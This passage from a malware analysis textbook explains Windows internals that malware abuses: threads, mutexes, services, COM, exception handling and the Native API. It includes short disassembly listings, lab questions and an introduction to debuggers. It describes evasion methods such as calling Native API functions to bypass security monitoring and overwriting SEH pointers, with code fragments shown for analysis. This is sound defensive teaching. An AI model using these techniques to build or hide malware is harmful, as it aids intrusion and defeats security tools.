Listing 7-5 shows an example of accessing a local variable and pushing it
on the stack.
004010DE lea
edx, [esp+58h]
004010E2 push edx
Listing 7-5: Accessing a local variable and pushing it on the stack
In Listing 7-5, the code at accesses a local variable (esp+58h) and stores
it in EDX, and then pushes EDX onto the stack. Now, if another thread were
to run some code in between these two instructions, and that code modified
EDX, the value of EDX would be wrong, and the code would not execute
properly. When thread-context switching is used, if another thread runs in
between these two instructions, the value of EDX is stored in the thread con-
text. When the thread starts again and executes the push instruction, the thread
context is restored, and EDX stores the proper value again. In this way, no
thread can interfere with the registers or flags from another thread.
150
Chapter 7
Creating a Thread
The CreateThread function is used to create new threads. The function’s caller
specifies a start address, which is often called the start function. Execution
begins at the start address and continues until the function returns, although
the function does not need to return, and the thread can run until the pro-
cess ends. When analyzing code that calls CreateThread, you will need to ana-
lyze the start function in addition to analyzing the rest of the code in the
function that calls CreateThread.
The caller of CreateThread can specify the function where the thread starts
and a single parameter to be passed to the start function. The parameter can
be any value, depending on the function where the thread will start.
Malware can use CreateThread in multiple ways, such as the following:
Malware can use CreateThread to load a new malicious library into a process,
with CreateThread called and the address of LoadLibrary specified as the
start address. (The argument passed to CreateThread is the name of the
library to be loaded. The new DLL is loaded into memory in the process,
and DllMain is called.)
Malware can create two new threads for input and output: one to listen
on a socket or pipe and then output that to standard input of a process,
and the other to read from standard output and send that to a socket or
pipe. The malware’s goal is to send all information to a single socket or
pipe in order to communicate seamlessly with the running application.
Listing 7-6 shows how to recognize the second technique by identifying
two CreateThread calls near each other. (Only the system calls for ThreadFunction1
and ThreadFunction2 are shown.) This code calls CreateThread twice. The argu-
ments are lpStartAddress values, which tell us where to look for the code that
will run when these threads start.
004016EE lea eax, [ebp+ThreadId]
004016F4 push eax ; lpThreadId
004016F5 push 0 ; dwCreationFlags
004016F7 push 0 ; lpParameter
004016F9 push
offset ThreadFunction1 ; lpStartAddress
004016FE push 0 ; dwStackSize
00401700 lea ecx, [ebp+ThreadAttributes]
00401706 push ecx ; lpThreadAttributes
00401707 call
ds:CreateThread
0040170D mov [ebp+var_59C], eax
00401713 lea edx, [ebp+ThreadId]
00401719 push edx ; lpThreadId
0040171A push 0 ; dwCreationFlags
0040171C push 0 ; lpParameter
0040171E push
offset ThreadFunction2 ; lpStartAddress
00401723 push 0 ; dwStackSize
00401725 lea eax, [ebp+ThreadAttributes]
0040172B push eax ; lpThreadAttributes
0040172C call
ds:CreateThread
Listing 7-6: Main function of thread example
Analyzing Malicious Windows Programs
151
In Listing 7-6, we have labeled the start function ThreadFunction1 for
the first call to CreateThread and ThreadFunction2 for the second call . To
determine the purpose of these two threads, we first navigate to ThreadFunction1.
As shown in Listing 7-7, the first thread function executes a loop in which it
calls ReadFile to read from a pipe, and then it forwards that data out to a
socket with the send function.
...
004012C5 call ds:ReadFile
...
00401356 call ds:send
...
Listing 7-7: ThreadFunction1 of thread example
As shown in Listing 7-8, the second thread function executes a loop that
calls recv to read any data sent over the network, and then forwards that data
to a pipe with the WriteFile function, so that it can be read by the application.
...
004011F2 call ds:recv
...
00401271 call ds:WriteFile
...
Listing 7-8: ThreadFunction2 of thread example
NOTE
In addition to threads, Microsoft systems use fibers. Fibers are like threads, but are
managed by a thread, rather than by the OS. Fibers share a single thread context.
Interprocess Coordination with Mutexes
One topic related to threads and processes is mutexes, referred to as mutants
when in the kernel. Mutexes are global objects that coordinate multiple pro-
cesses and threads.
Mutexes are mainly used to control access to shared resources, and are
often used by malware. For example, if two threads must access a memory
structure, but only one can safely access it at a time, a mutex can be used to
control access.
Only one thread can own a mutex at a time. Mutexes are important to
malware analysis because they often use hard-coded names, which make
good host-based indicators. Hard-coded names are common because a
mutex’s name must be consistent if it’s used by two processes that aren’t
communicating in any other way.
The thread gains access to the mutex with a call to WaitForSingleObject,
and any subsequent threads attempting to gain access to it must wait. When
a thread is finished using a mutex, it uses the ReleaseMutex function.
152
Chapter 7
A mutex can be created with the CreateMutex function. One process can
get a handle to another process’s mutex by using the OpenMutex call. Malware
will commonly create a mutex and attempt to open an existing mutex with
the same name to ensure that only one version of the malware is running at a
time, as demonstrated in Listing 7-9.
00401000
push offset Name ; "HGL345"
00401005
push 0 ; bInheritHandle
00401007
push 1F0001h ; dwDesiredAccess
0040100C call ds:__imp__OpenMutexW@12 ; OpenMutexW(x,x,x)
00401012 test eax, eax
00401014 jz short loc_40101E
00401016
push 0 ; int
00401018 call ds:__imp__exit
0040101E
push offset Name ; "HGL345"
00401023
push 0 ; bInitialOwner
00401025
push 0 ; lpMutexAttributes
00401027 call ds:__imp__CreateMutexW@12 ; CreateMutexW(x,x,x)
Listing 7-9: Using a mutex to ensure that only one copy of malware is running on a system
The code in Listing 7-9 uses the hard-coded name HGL345 for the mutex.
It first checks to see if there is a mutex named HGL345 using the OpenMutex call
at . If the return value is NULL at , it jumps (at ) over the exit call and
continues to execute. If the return value is not NULL, it calls exit at , and
the process will exit. If the code continues to execute, the mutex is created
at to ensure that additional instances of the program will exit when they
reach this code.
Services
Another way for malware to execute additional code is by installing it as a
service. Windows allows tasks to run without their own processes or threads by
using services that run as background applications; code is scheduled and
run by the Windows service manager without user input. At any given time
on a Windows OS, several services are running.
Using services has many advantages for the malware writer. One is that
services are normally run as SYSTEM or another privileged account. This is not
a vulnerability because you need administrative access in order to install a
service, but it is convenient for malware writers, because the SYSTEM account
has more access than administrator or user accounts.
Services also provide another way to maintain persistence on a system,
because they can be set to run automatically when the OS starts, and may not
even show up in the Task Manager as a process. A user searching through
running applications wouldn’t find anything suspicious, because the mal-
ware isn’t running in a separate process.
NOTE
It is possible to list running services using net start at the command line, but doing
so will display only the names of running services. Programs, such as the Autoruns tool
mentioned earlier, can be used to gather more information about running services.
Analyzing Malicious Windows Programs
153
Services can be installed and manipulated via a few Windows API func-
tions, which are prime targets for malware. There are several key functions to
look for:
OpenSCManager
Returns a handle to the service control manager, which is
used for all subsequent service-related function calls. All code that will
interact with services will call this function.
CreateService
Adds a new service to the service control manager, and
allows the caller to specify whether the service will start automatically at
boot time or must be started manually.
StartService
Starts a service, and is used only if the service is set to be
started manually.
The Windows OS supports several different service types, which
execute in unique ways. The one most commonly used by malware is the
WIN32_SHARE_PROCESS type, which stores the code for the service in a DLL,
and combines several different services in a single, shared process. In Task
Manager, you can find several instances of a process called svchost.exe, which
are running WIN32_SHARE_PROCESS-type services.
The WIN32_OWN_PROCESS type is also used because it stores the code in an
.exe file and runs as an independent process.
The final common service type is KERNEL_DRIVER, which is used for loading
code into the kernel. (We discuss malware running in the kernel later in this
chapter and extensively in Chapter 10.)
The information about services on a local system is stored in the registry.
Each service has a subkey under HKLM\SYSTEM\CurrentControlSet\Services. For
example, Figure 7-2 shows the registry entries for HKLM\SYSTEM\CurrentControlSet\
Services\VMware NAT Service.
Figure 7-2: Registry entry for VMware NAT service
The code for the VMware NAT service is stored at C:\Windows\system32\
vmnat.exe . The type value of 0x10 corresponds to WIN32_OWN_PROCESS, and
the start value of 0x02 corresponds to AUTO_START.
The SC program is a command-line tool included with Windows that
you can use to investigate and manipulate services. It includes commands for
adding, deleting, starting, stopping, and querying services. For example, the
154
Chapter 7
qc command queries a service’s configuration options by accessing the same
information as the registry entry shown in Figure 7-2 in a more readable way.
Listing 7-10 shows the SC program in action.
C:\Users\User1>sc qc "VMware NAT Service"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: VMware NAT Service
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2
AUTO_START
ERROR_CONTROL : 1
NORMAL
BINARY_PATH_NAME : C:\Windows\system32\vmnat.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : VMware NAT Service
DEPENDENCIES : VMnetuserif
SERVICE_START_NAME : LocalSystem
Listing 7-10: The query configuration information command of the SC program
Listing 7-10 shows the query configuration information command. This
information is identical to what was stored in the registry for the VMware
NAT service, but it is easier to read because the numeric values have mean-
ingful labels such as WIN32_OWN_PROCESS . The SC program has many different
commands, and running SC without any parameters will result in a list of the
possible commands. (For more about malware that runs as a service, see
Chapter 11.)
The Component Object Model
The Microsoft Component Object Model (COM) is an interface standard that
makes it possible for different software components to call each other’s code
without knowledge of specifics about each other. When analyzing malware
that uses COM, you’ll need to be able to determine which code will be run as
a result of a COM function call.
COM works with any programming language and was designed to sup-
port reusable software components that could be utilized by all programs.
COM uses an object construct that works well with object-oriented program-
ming languages, but COM does not work exclusively with object-oriented
programming languages.
Since it’s so versatile, COM is pervasive within the underlying OS and
within most Microsoft applications. Occasionally, COM is also used in third-
party applications. Malware that uses COM functionality can be difficult to
analyze, but you can use the analysis techniques presented in this section.
COM is implemented as a client/server framework. The clients are the
programs that are making use of COM objects, and the servers are the reus-
able software components—the COM objects themselves. Microsoft provides
a large number of COM objects for programs to use.
Each thread that uses COM must call the OleInitialize or CoInitializeEx
function at least once prior to calling any other COM library functions. So, a
Analyzing Malicious Windows Programs
155
malware analyst can search for these calls to determine whether a program is
using COM functionality. However, knowing that a piece of malware uses a
COM object as a client does not provide much information, because COM
objects are diverse and widespread. Once you determine that a program uses
COM, you’ll need to find a couple of identifiers of the object being used to
continue analysis.
CLSIDs, IIDs, and the Use of COM Objects
COM objects are accessed via their globally unique identifiers (GUIDs) known as
class identifiers (CLSIDs) and interface identifiers (IIDs).
The CoCreateInstance function is used to get access to COM functionality.
One common function used by malware is Navigate, which allows a program
to launch Internet Explorer and access a web address. The Navigate function
is part of the IWebBrowser2 interface, which specifies a list of functions that
must be implemented, but does not specify which program will provide that
functionality. The program that provides the functionality is the COM class
that implements the IWebBrowser2 interface. In most cases, the IWebBrowser2
interface is implemented by Internet Explorer. Interfaces are identified with
a GUID called an IID, and classes are identified with a GUID called a CLSID.
Consider an example piece of malware that uses the Navigate function
from the IWebBrowser2 interface implemented by Internet Explorer. The mal-
ware first calls the CoCreateInstance function. The function accepts the CLSID
and the IID of the object that the malware is requesting. The OS then searches
for the class information, and loads the program that will perform the func-
tionality, if it isn’t already running. The CoCreateInstance class returns a pointer
that points to a structure that contains function pointers. To use the func-
tionality of the COM server, the malware will call a function whose pointer
is stored in the structure returned from CoCreateInstance. Listing 7-11 shows
how some code gets access to an IWebBrowser2 object.
00401024 lea eax, [esp+18h+PointerToComObject]
00401028 push eax ; ppv
00401029 push
offset IID_IWebBrowser2 ; riid
0040102E push 4 ; dwClsContext
00401030 push 0 ; pUnkOuter
00401032 push
offset stru_40211C ; rclsid
00401037 call CoCreateInstance
Listing 7-11: Accessing a COM object with CoCreateInstance
In order to understand the code, click the structures that store the IID
and CLSID at and . The code specifies the IID D30C1661-CDAF-11D0-8A3E-
00C04FC9E26E, which represents the IWebBrowser2 interface, and the CLSID
0002DF01-0000-0000-C000-000000000046, which represents Internet Explorer.
IDA Pro can recognize and label the IID for IWebBrowser2, since it’s com-
monly used. Software developers can create their own IIDs, so IDA Pro
can’t always label the IID used by a program, and it is never able to label
the CLSID, because disassembly doesn’t contain the necessary information.
156
Chapter 7
When a program calls CoCreateInstance, the OS uses information in the
registry to determine which file contains the requested COM code. The HKLM\
SOFTWARE\Classes\CLSID\ and HKCU\SOFTWARE\Classes\CLSID registry keys store the
information about which code to execute for the COM server. The value of
C:\Program Files\Internet Explorer\iexplore.exe, stored in the LocalServer32 sub-
key of the registry key HKLM\SOFTWARE\Classes\CLSID\0002DF01-0000-0000-C000-
000000000046, identifies the executable that will be loaded when CoCreateInstance
is called.
Once the structure is returned from the CoCreateInstance call, the COM
client calls a function whose location is stored at an offset in the structure.
Listing 7-12 shows the call. The reference to the COM object is stored on the
stack, and then moved into EAX. Then the first value in the structure points
to a table of function pointers. At an offset of 0x2C in the table is the Navigate
function that is called.
0040105E push ecx
0040105F push ecx
00401060 push ecx
00401061 mov esi, eax
00401063 mov eax, [esp+24h+PointerToComObject]
00401067 mov edx, [eax]
00401069 mov edx, [edx+2Ch]
0040106C push ecx
0040106D push esi
0040106E push eax
0040106F call edx
Listing 7-12: Calling a COM function
In order to identify what a malicious program is doing when it calls a
COM function, malware analysts must determine which offset a function is
stored at, which can be tricky. IDA Pro stores the offsets and structures for
common interfaces, which can be explored via the structure subview. Press
the INSERT key to add a structure, and then click Add Standard Structure.
The name of the structure to add is InterfaceNameVtbl. In our Navigate example,
we add the IWebBrowser2Vtbl structure. Once the structure is added, right-click
the offset at in the disassembly to change the label from 2Ch to the func-
tion name IwebBrowser2Vtbl.Navigate. Now IDA Pro will add comments to the
call instruction and the parameters being pushed onto the stack.
For functions not available in IDA Pro, one strategy for identifying the
function called by a COM client is to check the header files for the interface
specified in the call to CoCreateInstance. The header files are included with
Microsoft Visual Studio and the platform SDK, and can also be found on the
Internet. The functions are usually declared in the same order in the header
file and in the function table. For example, the Navigate function is the twelfth
function in the .h file, which corresponds to an offset of 0x2C. The first func-
tion is at 0, and each function takes up 4 bytes.
In the previous example, Internet Explorer was loaded as its own process
when CoCreateInstance was called, but this is not always the case. Some COM
Analyzing Malicious Windows Programs
157
objects are implemented as DLLs that are loaded into the process space of
the COM client executable. When the COM object is set up to be loaded as a
DLL, the registry entry for the CLSID will include the subkey InprocServer32,
rather than LocalServer32.
COM Server Malware
Some malware implements a malicious COM server, which is subsequently
used by other applications. Common COM server functionality for malware
is through Browser Helper Objects (BHOs), which are third-party plug-ins for
Internet Explorer. BHOs have no restrictions, so malware authors use them
to run code running inside the Internet Explorer process, which allows
them to monitor Internet traffic, track browser usage, and communicate
with the Internet, without running their own process.
Malware that implements a COM server is usually easy to detect because
it exports several functions, including DllCanUnloadNow, DllGetClassObject,
DllInstall, DllRegisterServer, and DllUnregisterServer, which all must be
exported by COM servers.
Exceptions: When Things Go Wrong
Exceptions allow a program to handle events outside the flow of normal exe-
cution. Most of the time, exceptions are caused by errors, such as division by
zero. When an exception occurs, execution transfers to a special routine that
resolves the exception. Some exceptions, such as division by zero, are raised
by hardware; others, such as an invalid memory access, are raised by the OS.
You can also raise an exception explicitly in code with the RaiseException call.
Structured Exception Handling (SEH) is the Windows mechanism for han-
dling exceptions. In 32-bit systems, SEH information is stored on the stack.
Listing 7-13 shows disassembly for the first few lines of a function that has
exception handling.
01006170 push offset loc_10061C0
01006175 mov eax, large fs:0
0100617B push eax
0100617C mov large fs:0, esp
Listing 7-13: Storing exception-handling information in fs:0
At the beginning of the function, an exception-handling frame is put
onto the stack at . The special location fs:0 points to an address on the
stack that stores the exception information. On the stack is the location of an
exception handler, as well as the exception handler used by the caller at ,
which is restored at the end of the function. When an exception occurs,
Windows looks in fs:0 for the stack location that stores the exception infor-
mation, and then the exception handler is called. After the exception is
handled, execution returns to the main thread.
Exception handlers are nested, and not all handlers respond to all
exceptions. If the exception handler for the current frame does not handle
an exception, it’s passed to the exception handler for the caller’s frame.
158
Chapter 7
Eventually, if none of the exception handlers responds to an exception, the
top-level exception handler crashes the application.
Exception handlers can be used in exploit code to gain execution. A
pointer to exception-handling information is stored on the stack, and during
a stack overflow, an attacker can overwrite the pointer. By specifying a new
exception handler, the attacker gains execution when an exception occurs.
Exceptions will be covered in more depth in the debugging and anti-debugging
chapters (Chapters 8–10, 15, and 16).
Kernel vs. User Mode
Windows uses two processor privilege levels: kernel mode and user mode. All of
the functions discussed in this chapter have been user-mode functions, but
there are kernel-mode equivalent ways of doing the same thing.
Nearly all code runs in user mode, except OS and hardware drivers,
which run in kernel mode. In user mode, each process has its own memory,
security permissions, and resources. If a user-mode program executes an
invalid instruction and crashes, Windows can reclaim all the resources and
terminate the program.
Normally, user mode cannot access hardware directly, and it is restricted
to only a subset of all the registers and instructions available on the CPU. In
order to manipulate hardware or change the state in the kernel while in user
mode, you must rely on the Windows API.
When you call a Windows API function that manipulates kernel struc-
tures, it will make a call into the kernel. The presence of the SYSENTER, SYSCALL,
or INT 0x2E instruction in disassembly indicates that a call is being made into
the kernel. Since it’s not possible to jump directly from user mode to the ker-
nel, these instructions use lookup tables to locate a predefined function to
execute in the kernel.
All processes running in the kernel share resources and memory
addresses. Kernel-mode code has fewer security checks. If code running in
the kernel executes and contains invalid instructions, then the OS cannot
continue running, resulting in the famous Windows blue screen.
Code running in the kernel can manipulate code running in user
space, but code running in user space can affect the kernel only through
well-defined interfaces. Even though all code running in the kernel shares
memory and resources, there is always a single process context that is active.
Kernel code is very important to malware writers because more can be
done from kernel mode than from user mode. Most security programs, such
as antivirus software and firewalls, run in kernel mode, so that they can access
and monitor activity from all applications running on the system. Malware
running in kernel mode can more easily interfere with security programs or
bypass firewalls.
Clearly, malware running in the kernel is considerably more powerful
than malware running in user space. Within kernel space, any distinction
between processes running as a privileged or unprivileged user is removed.
Additionally, the OS’s auditing features don’t apply to the kernel. For these
reasons, nearly all rootkits utilize code running in the kernel.
Analyzing Malicious Windows Programs
159
Developing kernel-mode code is considerably more difficult than devel-
oping user code. One major hurdle is that kernel code is much more likely
to crash a system during development and debugging. Too, many common
functions are not available in the kernel, and there are fewer tools for com-
piling and developing kernel-mode code. Due to these challenges, only
sophisticated malware runs in the kernel. Most malware has no kernel com-
ponent. (For more on analyzing kernel malware, see Chapter 10.)
The Native API
The Native API is a lower-level interface for interacting with Windows that is
rarely used by nonmalicious programs but is popular among malware writers.
Calling functions in the Native API bypasses the normal Windows API.
When you call a function in the Windows API, the function usually does
not perform the requested action directly, because most of the important
data structures are stored in the kernel, which is not accessible by code out-
side the kernel (user-mode code). Microsoft has created a multistep process
by which user applications can achieve the necessary functionality. Figure 7-3
illustrates how this works for most API calls.
Figure 7-3: User mode and kernel mode
User applications are given access to user APIs such as kernel32.dll and
other DLLs, which call ntdll.dll, a special DLL that manages interactions
between user space and the kernel. The processor then switches to kernel
mode and executes a function in the kernel, normally located in ntoskrnl.exe.
The process is convoluted, but the separation between the kernel and user
APIs allows Microsoft to change the kernel without affecting existing
applications.
The ntdll functions use APIs and structures just like the ones used in the
kernel. These functions make up the Native API. Programs are not supposed
to call the Native API, but nothing in the OS prevents them from doing so.
Although Microsoft does not provide thorough documentation on the Native
User Application
Kernel32.dll
Ntdll.dll
Ntoskrnl.exe
Kernel Data Structures
User Mode
Kernel Mode
160
Chapter 7
API, there are websites and books that document these functions. The best
reference is Windows NT/2000 Native API Reference by Gary Nebbett (Sams,
2000), although it is quite old. Online resources such as http://undocumented
.ntinternals.net/ can provide more recent information.
Calling the Native API directly is attractive for malware writers because it
allows them to do things that might not otherwise be possible. There is a lot
of functionality that is not exposed in the regular Windows API, but can be
accomplished by calling the Native API directly.
Additionally, calling the Native API directly is sometimes stealthier.
Many antivirus and host-protection products monitor the system calls made
by a process. If the process calls the Native API function directly, it may be
able to evade a poorly designed security product.
Figure 7-4 shows a diagram of a system call with a poorly designed secu-
rity program monitoring calls to kernel32.dll. In order to bypass the security
program, some hypothetical malware uses the Native API. Instead of calling
the Windows functions ReadFile and WriteFile, this malware calls the func-
tions NtReadFile and NtWriteFile. These functions are in ntdll.dll and are not
monitored by the security program. A well-designed security program will
monitor calls at all levels, including the kernel, to ensure that this tactic
doesn’t work.
Figure 7-4: Using the Native API to avoid detection
There are a series of Native API calls that can be used to get information
about the system, processes, threads, handles, and other items. These include
NtQuerySystemInformation, NtQueryInformationProcess, NtQueryInformationThread,
NtQueryInformationFile, and NtQueryInformationKey. These calls provide much
more detailed information than any available Win32 calls, and some of these
functions allow you to set fine-grained attributes for files, processes, threads,
and so on.
User Application
Kernel32.dll
Ntdll.dll
Ntoskrnl.exe
Kernel Data Structures
Security Program
Analyzing Malicious Windows Programs
161
Another Native API function that is popular with malware authors is
NtContinue. This function is used to return from an exception, and it is meant
to transfer execution back to the main thread of a program after an excep-
tion has been handled. However, the location to return to is specified in the
exception context, and it can be changed. Malware often uses this function
to transfer execution in complicated ways, in order to confuse an analyst and
make a program more difficult to debug.
NOTE
We covered several functions that start with the prefix Nt. In some instances, such as in
the export tables of ntdll.dll, the same function can have either the Nt prefix or the Zw
prefix. For example, there is an NtReadFile function and a ZwReadFile function. In the
user space, these functions behave in exactly the same way, and usually call the exact
same code. There are sometimes minor differences when called from kernel mode, but
those differences can be safely ignored by the malware analyst.
Native applications are applications that do not use the Win32 subsystem
and issue calls to the Native API only. Such applications are rare for malware,
but are almost nonexistent for nonmalicious software, and so a native appli-
cation is likely malicious. The subsystem in the PE header indicates if a pro-
gram is a native application.
Conclusion
This chapter covered Windows concepts that are important to malware anal-
ysis. The concepts such as processes, threads, and network functionality will
come up as you’re analyzing malware.
Many of the specific malware examples discussed in this chapter are very
common, and your familiarity with them will allow you to recognize them
quickly in malware in order to better understand the program’s overall pur-
pose. These concepts are important to static malware analysis, and they will
come up in the labs throughout this book, as well as in real-world malware.
162
Chapter 7
L A B S
Lab 7-1
Analyze the malware found in the file Lab07-01.exe.
Questions
1.
How does this program ensure that it continues running (achieves per-
sistence) when the computer is restarted?
2.
Why does this program use a mutex?
3.
What is a good host-based signature to use for detecting this program?
4.
What is a good network-based signature for detecting this malware?
5.
What is the purpose of this program?
6.
When will this program finish executing?
Lab 7-2
Analyze the malware found in the file Lab07-02.exe.
Questions
1.
How does this program achieve persistence?
2.
What is the purpose of this program?
3.
When will this program finish executing?
Lab 7-3
For this lab, we obtained the malicious executable, Lab07-03.exe, and DLL,
Lab07-03.dll, prior to executing. This is important to note because the mal-
ware might change once it runs. Both files were found in the same directory
on the victim machine. If you run the program, you should ensure that both
files are in the same directory on the analysis machine. A visible IP string
beginning with 127 (a loopback address) connects to the local machine. (In
the real version of this malware, this address connects to a remote machine,
but we’ve set it to connect to localhost to protect you.)
WARNING
This lab may cause considerable damage to your computer and may be difficult to
remove once installed. Do not run this file without a virtual machine with a snapshot
taken prior to execution.
This lab may be a bit more challenging than previous ones. You’ll need
to use a combination of static and dynamic methods, and focus on the big
picture in order to avoid getting bogged down by the details.
Analyzing Malicious Windows Programs
163
Questions
1.
How does this program achieve persistence to ensure that it continues
running when the computer is restarted?
2.
What are two good host-based signatures for this malware?
3.
What is the purpose of this program?
4.
How could you remove this malware once it is installed?
PART 3
A D V A N C E D D Y N A M I C A N A L Y S I S
D E B U G G I N G
A debugger is a piece of software or hardware used to
test or examine the execution of another program.
Debuggers help in the process of developing software,
since programs usually have errors in them when they
are first written. As you develop, you provide the input to the program and
see the output, but you don’t see how the program produces the output.
Debuggers give you insight into what a program is doing while it is execut-
ing. Debuggers are designed to allow developers to measure and control the
internal state and execution of a program.
Debuggers provide information about a program that would be difficult,
if not impossible, to get from a disassembler. Disassemblers offer a snapshot
of what a program looks like immediately prior to execution of the first
instruction. Debuggers provide a dynamic view of a program as it runs. For
example, debuggers can show the values of memory addresses as they change
throughout the execution of a program.
The ability to measure and control a program’s execution provides crit-
ical insight during malware analysis. Debuggers allow you to see the value
of every memory location, register, and argument to every function. Debug-
gers also let you change anything about program execution at any time. For
168
Chapter 8
example, you can change the value of a single variable at any point in
time—all you need is enough information about that variable, including
its location.
In the next two chapters, we will cover two debuggers: OllyDbg and
WinDbg. This chapter will focus on the concepts and features common to
all debuggers.
Source-Level vs. Assembly-Level Debuggers
Most software developers are familiar with source-level debuggers, which allow
a programmer to debug while coding. This type of debugger is usually built
into integrated development environments (IDEs). Source-level debuggers
allow you to set breakpoints, which stop on lines of source code, in order to
examine internal variable states and to step through program execution one
line at a time. (We’ll discuss breakpoints in more depth later in this chapter.)
Assembly-level debuggers, sometimes called low-level debuggers, operate on
assembly code instead of source code. As with a source-level debugger, you
can use an assembly-level debugger to step through a program one instruc-
tion at a time, set breakpoints to stop on specific lines of assembly code, and
examine memory locations.
Malware analysts make heavy use of assembly-level debuggers because
they do not require access to a program’s source code.
Kernel vs. User-Mode Debugging
In Chapter 7, we discussed some of the differences between Windows user
mode and kernel mode. It is more challenging to debug kernel-mode code
than to debug user-mode code because you usually need two different sys-
tems for kernel mode. In user mode, the debugger is running on the same
system as the code being debugged. When debugging in user mode, you are
debugging a single executable, which is separated from other executables by
the OS.
Kernel debugging is performed on two systems because there is only one
kernel; if the kernel is at a breakpoint, no applications can be running on the
system. One system runs the code that is being debugged, and another runs
the debugger. Additionally, the OS must be configured to allow for kernel
debugging, and you must connect the two machines.
NOTE
It is possible to run a kernel debugger on the same system as the code being debugged, but
it is very uncommon. A program called SoftICE used to provide this functionality, but it
has not been supported since early 2007. No vendor currently offers a product with this
functionality.
There are different software packages for user-mode debugging and ker-
nel debugging. WinDbg is currently the only popular tool that supports kernel
debugging. OllyDbg is the most popular debugger for malware analysts, but
Debugging
169
it does not support kernel debugging. WinDbg supports user-mode debug-
ging as well, and IDA Pro has a built-in debugger, but these do not offer the
same features or ease of use as OllyDbg.
Using a Debugger
There are two ways to debug a program. The first is to start the program with
the debugger. When you start the program and it is loaded into memory, it
stops running immediately prior to the execution of its entry point. At this
point, you have complete control of the program.
You can also attach a debugger to a program that is already running.
All the program’s threads are paused, and you can debug it. This is a good
approach when you want to debug a program after it has been running or if
you want to debug a process that is affected by malware.
Single-Stepping
The simplest thing you can do with a debugger is to single-step through a pro-
gram, which means that you run a single instruction and then return control
to the debugger. Single-stepping allows you to see everything going on within
a program.
It is possible to single-step through an entire program, but you should
not do it for complex programs because it can take such a long time. Single-
stepping is a good tool for understanding the details of a section of code, but
you must be selective about which code to analyze. Focus on the big picture,
or you’ll get lost in the details.
For example, the disassembly in Listing 8-1 shows how you might use a
debugger to help understand a section of code.
mov
edi, DWORD_00406904
mov
ecx, 0x0d
LOC_040106B2
xor
[edi], 0x9C
inc
edi
loopw
LOC_040106B2
...
DWORD:00406904: F8FDF3D0
Listing 8-1: Stepping through code
The listing shows a data address accessed and modified in a loop. The
data value shown at the end doesn’t appear to be ASCII text or any other
recognizable value, but you can use a debugger to step through this loop to
reveal what this code is doing.
If we were to single-step through this loop with either WinDbg or Olly-
Dbg, we would see the data being modified. For example, in Listing 8-2, you
see the 13 bytes modified by this function changing each time through the
loop. (This listing shows the bytes at those addresses along with their ASCII
representation.)
170
Chapter 8
D0F3FDF8 D0F5FEEE FDEEE5DD 9C (.............)
4CF3FDF8 D0F5FEEE FDEEE5DD 9C (L............)
4C6FFDF8 D0F5FEEE FDEEE5DD 9C (Lo...........)
4C6F61F8 D0F5FEEE FDEEE5DD 9C (Loa..........)
. . . SNIP . . .
4C6F6164 4C696272 61727941 00 (LoadLibraryA.)
Listing 8-2: Single-stepping through a section of code to see how it changes memory
With a debugger attached, it is clear that this function is using a single-
byte XOR function to decode the string LoadLibraryA. It would have been
more difficult to identify that string with only static analysis.
Stepping-Over vs. Stepping-Into
When single-stepping through code, the debugger stops after every instruc-
tion. However, while you are generally concerned with what a program is
doing, you may not be concerned with the functionality of each call. For
example, if your program calls LoadLibrary, you probably don’t want to step
through every instruction of the LoadLibrary function.
To control the instructions that you see in your debugger, you can step-
over or step-into instructions. When you step-over call instructions, you bypass
them. For example, if you step-over a call, the next instruction you will see in
your debugger will be the instruction after the function call returns. If, on
the other hand, you step-into a call instruction, the next instruction you will
see in the debugger is the first instruction of the called function.
Stepping-over allows you to significantly decrease the amount of instruc-
tions you need to analyze, at the risk of missing important functionality if
you step-over the wrong functions. Additionally, certain function calls never
return, and if your program calls a function that never returns and you step-
over it, the debugger will never regain control. When this happens (and it
probably will), restart the program and step to the same location, but this
time, step-into the function.
NOTE
This is a good time to use VMware’s record/replay feature. When you step-over a func-
tion that never returns, you can replay the debugging session and correct your mistake.
Start a recording when you begin debugging. Then, when you step-over a function that
never returns, stop the recording. Replay it to just before you stepped-over the function,
and then stop the replay and take control of the machine, but this time, step-into the
function.
When stepping-into a function, it is easy to quickly begin single-stepping
through instructions that have nothing to with what you are analyzing. When
analyzing a function, you can step-into a function that it calls, but then it
will call another function, and then another. Before long, you are analyzing
code that has little or no relevance to what you are seeking. Fortunately, most
debuggers will allow you to return to the calling function, and some debug-
gers have a step-out function that will run until after the function returns.
Debugging
171
Other debuggers have a similar feature that executes until a return instruc-
tion immediately prior to the end of the function.
Pausing Execution with Breakpoints
Breakpoints are used to pause execution and allow you to examine a pro-
gram’s state. When a program is paused at a breakpoint, it is referred to as
broken. Breakpoints are needed because you can’t access registers or mem-
ory addresses while a program is running, since these values are constantly
changing.
Listing 8-3 demonstrates where a breakpoint would be useful. In this
example, there is a call to EAX. While a disassembler couldn’t tell you which
function is being called, you could set a breakpoint on that instruction to
find out. When the program hits the breakpoint, it will be stopped, and the
debugger will show you the value of EAX, which is the destination of the
function being called.
00401008 mov ecx, [ebp+arg_0]
0040100B mov eax, [edx]
0040100D call eax
Listing 8-3: Call to EAX
Another example in Listing 8-4 shows the beginning of a function with a
call to CreateFile to open a handle to a file. In the assembly, it is difficult to
determine the name of the file, although part of the name is passed in as a
parameter to the function. To find the file in disassembly, you could use IDA
Pro to search for all the times that this function is called in order to see which
arguments are passed, but those values could in turn be passed in as parame-
ters or derived from other function calls. It could very quickly become diffi-
cult to determine the filename. Using a debugger makes this task very easy.
0040100B xor eax, esp
0040100D mov [esp+0D0h+var_4], eax
00401014 mov eax, edx
00401016 mov [esp+0D0h+NumberOfBytesWritten], 0
0040101D add eax, 0FFFFFFFEh
00401020 mov cx, [eax+2]
00401024 add eax, 2
00401027 test cx, cx
0040102A jnz short loc_401020
0040102C mov ecx, dword ptr ds:a_txt ; ".txt"
00401032 push 0 ; hTemplateFile
00401034 push 0 ; dwFlagsAndAttributes
00401036 push 2 ; dwCreationDisposition
00401038 mov [eax], ecx
0040103A mov ecx, dword ptr ds:a_txt+4
00401040 push 0 ; lpSecurityAttributes
00401042 push 0 ; dwShareMode
172
Chapter 8
00401044 mov [eax+4], ecx
00401047 mov cx, word ptr ds:a_txt+8
0040104E push 0 ; dwDesiredAccess
00401050 push edx ; lpFileName
00401051 mov [eax+8], cx
00401055call CreateFileW ; CreateFileW(x,x,x,x,x,x,x)
Listing 8-4: Using a debugger to determine a filename
We set a breakpoint on the call to CreateFileW at , and then look at
